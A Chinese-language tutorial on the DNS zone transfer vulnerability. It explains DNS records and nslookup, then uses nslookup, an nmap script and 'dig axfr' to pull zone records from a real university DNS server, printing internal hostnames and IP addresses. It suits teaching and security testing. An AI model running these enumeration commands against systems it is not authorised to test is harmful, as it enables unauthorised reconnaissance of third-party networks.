DNS域传送漏洞

た入场券 2023-10-12 08:01 25阅读 0赞

## 什么是DNS？ ##

DNS （Domain Name System 的缩写）的作用非常简单，就是根据域名查出IP地址。你可以把它想象成一本巨大的电话本。

举例来说，如果你要访问域名`math.stackexchange.com`，首先要通过DNS查出它的IP地址是`151.101.129.69`。

DNS服务器使用的TCP/UDP端口号是53。

最常用的DNS记录有以下几类：

<table style="width:661px;"> 
 <thead> 
  <tr> 
   <th>DNS</th> 
   <th>类型</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>A</td> 
   <td>IP地址记录,记录一个域名对应的IP地址</td> 
  </tr> 
  <tr> 
   <td>AAAA</td> 
   <td>IPv6 地址记录，记录一个域名对应的IPv6地址</td> 
  </tr> 
  <tr> 
   <td>CNAME</td> 
   <td>别名记录，记录一个主机的别名</td> 
  </tr> 
  <tr> 
   <td>MX</td> 
   <td>电子邮件交换记录，记录一个邮件域名对应的IP地址，如root@xxxx.com</td> 
  </tr> 
  <tr> 
   <td>NS</td> 
   <td>域名服务器记录 ,记录该域名由哪台域名服务器解析</td> 
  </tr> 
  <tr> 
   <td>PTR</td> 
   <td>反向记录，也即从IP地址到域名的一条记录</td> 
  </tr> 
  <tr> 
   <td>TXT</td> 
   <td>记录域名的相关文本信息</td> 
  </tr> 
 </tbody> 
</table>

## nslookup命令  ##

Windows下的nslookup命令：

λ nslookup.exe ?  
用法:

1 λ nslookup.exe ?
    2 用法:
    3    nslookup [-opt ...]             # 使用默认服务器的交互模式
    4    nslookup [-opt ...] - server    # 使用 "server" 的交互模式
    5    nslookup [-opt ...] host        # 仅查找使用默认服务器的 "host"
    6    nslookup [-opt ...] host server # 仅查找使用 "server" 的 "host"

交互式nslookup命令：

1 λ nslookup.exe
     2 默认服务器:  UnKnown
     3 Address:  8.8.8.8
     4 
     5 > help
     6 命令:   (标识符以大写表示，[] 表示可选)
     7 NAME            - 打印有关使用默认服务器的主机/域 NAME 的信息
     8 NAME1 NAME2     - 同上，但将 NAME2 用作服务器
     9 help or ?       - 打印有关常用命令的信息
    10 set OPTION      - 设置选项
    11     all                 - 打印选项、当前服务器和主机
    12     [no]debug           - 打印调试信息
    13     [no]d2              - 打印详细的调试信息
    14     [no]defname         - 将域名附加到每个查询
    15     [no]recurse         - 询问查询的递归应答
    16     [no]search          - 使用域搜索列表
    17     [no]vc              - 始终使用虚拟电路
    18     domain=NAME         - 将默认域名设置为 NAME
    19     srchlist=N1[/N2/.../N6] - 将域设置为 N1，并将搜索列表设置为 N1、N2 等
    20     root=NAME           - 将根服务器设置为 NAME
    21     retry=X             - 将重试次数设置为 X
    22     timeout=X           - 将初始超时间隔设置为 X 秒
    23     type=X              - 设置查询类型(如 A、AAAA、A+AAAA、ANY、CNAME、MX、
    24                           NS、PTR、SOA 和 SRV)
    25     querytype=X         - 与类型相同
    26     class=X             - 设置查询类(如 IN (Internet)和 ANY)
    27     [no]msxfr           - 使用 MS 快速区域传送
    28     ixfrver=X           - 用于 IXFR 传送请求的当前版本
    29 server NAME     - 将默认服务器设置为 NAME，使用当前默认服务器
    30 lserver NAME    - 将默认服务器设置为 NAME，使用初始服务器
    31 root            - 将当前默认服务器设置为根服务器
    32 ls [opt] DOMAIN [> FILE] - 列出 DOMAIN 中的地址(可选: 输出到文件 FILE)
    33     -a          -  列出规范名称和别名
    34     -d          -  列出所有记录
    35     -t TYPE     -  列出给定 RFC 记录类型(例如 A、CNAME、MX、NS 和 PTR 等)
    36                    的记录
    37 view FILE           - 对 'ls' 输出文件排序，并使用 pg 查看
    38 exit            - 退出程序

1) 使用type参数可以设置记录类型。

2) 使用ls命令，可以列出一个域下面所有的域名。

查询DNS： nslookup\-type=ns XX.com

查询邮件服务器： nslookup\-type=mx XX.com

在交互式shell中发现一个DNS服务器的域传送漏洞的过程:

<table style="width:489px;"> 
 <tbody> 
  <tr> 
   <td> 
    <div> 
     <div>
       1 
     </div> 
     <div>
       2 
     </div> 
     <div>
       3 
     </div> 
     <div>
       4 
     </div> 
     <div>
       5 
     </div> 
     <div>
       6 
     </div> 
     <div>
       7 
     </div> 
     <div>
       8 
     </div> 
     <div>
       9 
     </div> 
     <div>
       10 
     </div> 
     <div>
       11 
     </div> 
     <div>
       12 
     </div> 
     <div>
       13 
     </div> 
     <div>
       14 
     </div> 
     <div>
       15 
     </div> 
     <div>
       16 
     </div> 
     <div>
       17 
     </div> 
     <div>
       18 
     </div> 
     <div>
       19 
     </div> 
     <div>
       20 
     </div> 
     <div>
       21 
     </div> 
     <div>
       22 
     </div> 
     <div>
       23 
     </div> 
     <div>
       24 
     </div> 
     <div>
       25 
     </div> 
     <div>
       26 
     </div> 
     <div>
       27 
     </div> 
     <div>
       28 
     </div> 
     <div>
       29 
     </div> 
     <div>
       30 
     </div> 
     <div>
       31 
     </div> 
    </div> </td> 
   <td> 
    <div> 
     <div> 
      <span>D<span>:<span>\<span>&gt;<span>nslookup</span></span></span></span></span> 
     </div> 
     <div>
       默认服务器 
      <span>:<span>&nbsp;&nbsp;<span>public1<span>.<span>114dns.com</span></span></span></span></span> 
     </div> 
     <div> 
      <span>Address<span>:<span>&nbsp;&nbsp;<span>114.114.114.114</span></span></span></span> 
     </div> 
     <div>
       &nbsp; 
     </div> 
     <div> 
      <span>&gt;<span> <span>server <span>dns<span>.<span>nwpu<span>.<span>edu<span>.<span>cn</span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div>
       默认服务器 
      <span>:<span>&nbsp;&nbsp;<span>dns<span>.<span>nwpu<span>.<span>edu<span>.<span>cn</span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>Address<span>:<span>&nbsp;&nbsp;<span>202.117.80.2</span></span></span></span> 
     </div> 
     <div>
       &nbsp; 
     </div> 
     <div> 
      <span>&gt;<span> <span>ls <span>nwpu<span>.<span>edu<span>.<span>cn</span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>[<span>dns<span>.<span>nwpu<span>.<span>edu<span>.<span>cn<span>]</span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>NS&nbsp;&nbsp;&nbsp;&nbsp; <span>server<span> <span>=<span> <span>dns<span>.<span>nwpu<span>.<span>edu<span>.<span>cn</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>NS&nbsp;&nbsp;&nbsp;&nbsp; <span>server<span> <span>=<span> <span>dns1<span>.<span>nwpu<span>.<span>edu<span>.<span>cn</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>NS&nbsp;&nbsp;&nbsp;&nbsp; <span>server<span> <span>=<span> <span>dns2<span>.<span>nwpu<span>.<span>edu<span>.<span>cn</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>NS&nbsp;&nbsp;&nbsp;&nbsp; <span>server<span> <span>=<span> <span>dns3<span>.<span>nwpu<span>.<span>edu<span>.<span>cn</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> *<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>A<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>222.24.192.99</span></span></span></span></span> 
     </div> 
     <div> 
      <span>(<span>.<span>.<span>.<span> 省略大量的记录<span>)</span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>npunecas&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>NS&nbsp;&nbsp;&nbsp;&nbsp; <span>server<span> <span>=<span> <span>webcomp<span>.<span>npunecas<span>.<span>nwpu<span>.<span>edu<span>.<span>cn</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>webcomp<span>.<span>npunecas<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>A<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>202.117.85.146</span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>nwpu03<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>A<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>202.117.80.4</span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>nwpudb2<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>A<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>222.24.210.149</span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>poj<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>A<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>192.168.0.248</span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>portal<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>A<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>61.150.43.10</span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>portal1<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>A<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>222.24.192.31</span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>portal2<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>A<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>222.24.192.32</span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>rei<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>A<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>202.117.85.10</span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>saip&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>NS&nbsp;&nbsp;&nbsp;&nbsp; <span>server<span> <span>=<span> <span>saipserver<span>.<span>saip<span>.<span>nwpu<span>.<span>edu<span>.<span>cn</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>saipserver<span>.<span>saip<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>A<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>202.117.85.72</span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>test<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>A<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>222.24.192.29</span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>yzb<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>A<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>202.117.85.3</span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>zsb<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>A<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>202.117.87.130</span></span></span></span></span></span> 
     </div> 
     <div> 
      <span> <span>zygx<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>A<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>202.117.80.9</span></span></span></span></span></span> 
     </div> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

操作基本的步骤是:

1) 输入nslookup命令进入交互式shell

2) Server 命令参数设定查询将要使用的DNS服务器

3) Ls命令列出某个域中的所有域名

4) Exit命令退出程序

以上示例了存在漏洞的DNS服务器，若是不存在漏洞的主机，则可能提示错误Query Refused:

<table style="width:607px;"> 
 <tbody> 
  <tr> 
   <td> 
    <div> 
     <div>
       1 
     </div> 
     <div>
       2 
     </div> 
     <div>
       3 
     </div> 
     <div>
       4 
     </div> 
     <div>
       5 
     </div> 
     <div>
       6 
     </div> 
     <div>
       7 
     </div> 
     <div>
       8 
     </div> 
     <div>
       9 
     </div> 
     <div>
       10 
     </div> 
     <div>
       11 
     </div> 
     <div>
       12 
     </div> 
     <div>
       13 
     </div> 
     <div>
       14 
     </div> 
    </div> </td> 
   <td> 
    <div> 
     <div> 
      <span>D<span>:<span>\<span>&gt;<span>nslookup</span></span></span></span></span> 
     </div> 
     <div>
       默认服务器 
      <span>:<span>&nbsp;&nbsp;<span>public1<span>.<span>114dns.com</span></span></span></span></span> 
     </div> 
     <div> 
      <span>Address<span>:<span>&nbsp;&nbsp;<span>114.114.114.114</span></span></span></span> 
     </div> 
     <div>
       &nbsp; 
     </div> 
     <div> 
      <span>&gt;<span> <span>server <span>ns<span>.<span>pku<span>.<span>edu<span>.<span>cn</span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div>
       默认服务器 
      <span>:<span>&nbsp;&nbsp;<span>ns<span>.<span>pku<span>.<span>edu<span>.<span>cn</span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>Address<span>:<span>&nbsp;&nbsp;<span>202.112.7.13</span></span></span></span> 
     </div> 
     <div>
       &nbsp; 
     </div> 
     <div> 
      <span>&gt;<span> <span>ls <span>pku<span>.<span>edu<span>.<span>cn</span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>[<span>ns<span>.<span>pku<span>.<span>edu<span>.<span>cn<span>]</span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>*<span>*<span>*<span> 无法列出域<span> <span>pku<span>.<span>edu<span>.<span>cn<span>:<span> <span>Query <span>refused</span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>DNS<span> 服务器拒绝将区域<span> <span>pku<span>.<span>edu<span>.<span>cn<span> 传送到您的计算机。如果这不正确，</span></span></span></span></span></span></span></span></span> 
     </div> 
     <div>
       请检查 
      <span> <span>IP<span> 地址<span> <span>202.112.7.13<span> 的<span> <span>DNS<span> 服务器上<span> <span>pku<span>.<span>edu<span>.<span>cn<span> 的</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div>
       区域传送安全设置。 
     </div> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

## 使用nmap扫描DNS域传送泄露漏洞 ##

使用nmap扫描器附带的脚本，可以扫描DNS服务器是否存在域传送漏洞。语法为：

nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=nwpu.edu.cn -p 53 -Pn dns.nwpu.edu.cn

上述命令命令说明如下：

1.  nmap –script dns-zone-transfer表示加载nmap文件夹下的脚本文件dns-zone-transfer.nse，扩展名.nse可省略
2.  –script-args dns-zone-transfer.domain=zonetransfer.me向脚本传递参数，设置列出记录的域是nwpu.edu.cn
3.  \-p 53设置扫描53端口
4.  \-Pn设置通过Ping发现主机是否存活

## Dig命令 ##

dig来测试DNS服务器是否存在域传送泄露。Dig是一个非常强大的DNS查询工具，输入“dig -h”查看它的使用说明

若将查询类型设定为axfr，就能得到域传送数据。这也是我们要用来测试DNS域传送泄露的命令：

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div> 
     <div>
       1 
     </div> 
     <div>
       2 
     </div> 
     <div>
       3 
     </div> 
     <div>
       4 
     </div> 
     <div>
       5 
     </div> 
     <div>
       6 
     </div> 
     <div>
       7 
     </div> 
     <div>
       8 
     </div> 
     <div>
       9 
     </div> 
     <div>
       10 
     </div> 
     <div>
       11 
     </div> 
     <div>
       12 
     </div> 
     <div>
       13 
     </div> 
     <div>
       14 
     </div> 
     <div>
       15 
     </div> 
     <div>
       16 
     </div> 
     <div>
       17 
     </div> 
     <div>
       18 
     </div> 
     <div>
       19 
     </div> 
     <div>
       20 
     </div> 
     <div>
       21 
     </div> 
    </div> </td> 
   <td> 
    <div> 
     <div> 
      <span>root<span>@<span>li377<span>-<span>156<span>:<span>~<span># dig @dns.nwpu.edu.cn axfr nwpu.edu.cn</span></span></span></span></span></span></span></span> 
     </div> 
     <div>
       &nbsp; 
     </div> 
     <div> 
      <span>;<span> <span>&lt;&lt;<span>&gt;&gt;<span> <span>DiG<span> <span>9.8.1<span>-<span>P1<span> <span>&lt;&lt;<span>&gt;&gt;<span> <span>@<span>dns<span>.<span>nwpu<span>.<span>edu<span>.<span>cn <span>axfr <span>nwpu<span>.<span>edu<span>.<span>cn</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>;<span> <span>(<span>1<span> <span>server <span>found<span>)</span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>;<span>;<span> <span>global<span> <span>options<span>:<span> <span>+<span>cmd</span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>86400<span>&nbsp;&nbsp; <span>IN<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>SOA&nbsp;&nbsp;&nbsp;&nbsp; <span>dns1<span>.<span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span> <span>hxn<span>.<span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span> <span>2014041801<span> <span>21600<span> <span>3600<span> <span>604800<span> <span>10800</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>86400<span>&nbsp;&nbsp; <span>IN<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>dns<span>.<span>nwpu<span>.<span>edu<span>.<span>cn<span>.</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>86400<span>&nbsp;&nbsp; <span>IN<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>dns1<span>.<span>nwpu<span>.<span>edu<span>.<span>cn<span>.</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>86400<span>&nbsp;&nbsp; <span>IN<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>dns2<span>.<span>nwpu<span>.<span>edu<span>.<span>cn<span>.</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>86400<span>&nbsp;&nbsp; <span>IN<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>dns3<span>.<span>nwpu<span>.<span>edu<span>.<span>cn<span>.</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>600<span>&nbsp;&nbsp;&nbsp;&nbsp; <span>IN<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>MX<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>5<span> <span>nwpu03<span>.<span>nwpu<span>.<span>edu<span>.<span>cn<span>.</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>600<span>&nbsp;&nbsp;&nbsp;&nbsp; <span>IN<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>MX<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>15<span> <span>nwpu03<span>.<span>nwpu<span>.<span>edu<span>.<span>cn<span>.</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>*<span>.<span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>86400<span>&nbsp;&nbsp; <span>IN<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>A<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>222.24.192.99</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>aisheng<span>.<span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span>&nbsp;&nbsp;&nbsp;&nbsp;<span>86400<span>&nbsp;&nbsp; <span>IN<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>CNAME&nbsp;&nbsp; <span>www<span>.<span>nwpu<span>.<span>edu<span>.<span>cn<span>.</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>amec<span>.<span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>86400<span>&nbsp;&nbsp; <span>IN<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>netserver<span>.<span>amec<span>.<span>nwpu<span>.<span>edu<span>.<span>cn<span>.</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>(省略大量的记录<span>.<span>.<span>.<span>)</span></span></span></span></span> 
     </div> 
     <div> 
      <span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>86400<span>&nbsp;&nbsp; <span>IN<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>SOA&nbsp;&nbsp;&nbsp;&nbsp; <span>dns1<span>.<span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span> <span>hxn<span>.<span>nwpu<span>.<span>edu<span>.<span>cn<span>.<span> <span>2014041801<span> <span>21600<span> <span>3600<span> <span>604800<span> <span>10800</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>;<span>;<span> <span>Query <span>time<span>:<span> <span>110<span> <span>msec</span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>;<span>;<span> <span>SERVER<span>:<span> <span>202.117.80.2<span>#53(202.117.80.2)</span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>;<span>;<span> <span>WHEN<span>:<span> <span>Sun <span>Apr<span> <span>20<span> <span>15<span>:<span>11<span>:<span>32<span> <span>2014</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
     <div> 
      <span>;<span>;<span> <span>XFR <span>size<span>:<span> <span>188<span> <span>records<span> <span>(<span>messages<span> <span>1<span>,<span> <span>bytes<span> <span>4021<span>)</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
     </div> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

请注意，参数axfr后跟需要列出的域的名称。上面的例子是nwpu.edu.cn。只要命令输出中存在“XFR size”即代表该服务器存在漏洞。

参考资料：

